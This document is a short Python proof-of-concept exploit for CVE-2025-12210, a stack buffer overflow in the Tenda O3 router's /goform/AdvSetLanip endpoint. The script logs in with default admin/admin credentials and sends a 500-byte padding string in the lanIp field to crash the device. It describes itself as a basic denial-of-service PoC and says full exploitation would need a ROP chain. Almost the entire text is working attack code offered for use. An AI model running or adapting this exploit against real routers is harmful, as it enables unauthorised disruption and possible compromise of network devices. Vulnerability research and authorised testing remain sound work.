CVE-2025-12210

#!/usr/bin/env python3 """ CVE-2025-12210 PoC - Tenda O3 /goform/AdvSetLanip Stack Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys target = "http://target-ip/" username = "admin" password = "admin" # Create session and login session = requests.Session() login_data = { "username": username, "password": password } try: # Attempt login (may vary by firmware version) session.post(target + "login", data=login_data, timeout=5) except: pass # Generate payload - 500 bytes to overflow stack buffer # In real exploitation, this would be crafted with ROP gadgets payload_size = 500 padding = b"A" * payload_size # Prepare the exploit request # The vulnerable parameter is 'lanIp' exploit_data = { "lanIp": padding.decode("utf-8"), "module": "lan", "set": "1" } print(f"[*] Sending exploit payload ({payload_size} bytes) to {target}") print(f"[*] Target endpoint: /goform/AdvSetLanip") try: response = session.post(target + "goform/AdvSetLanip", data=exploit_data, timeout=5) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Check if device is affected by monitoring for crashes or unexpected behavior") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Note: This is a basic DoS PoC. Full exploitation requires ROP chain development.")

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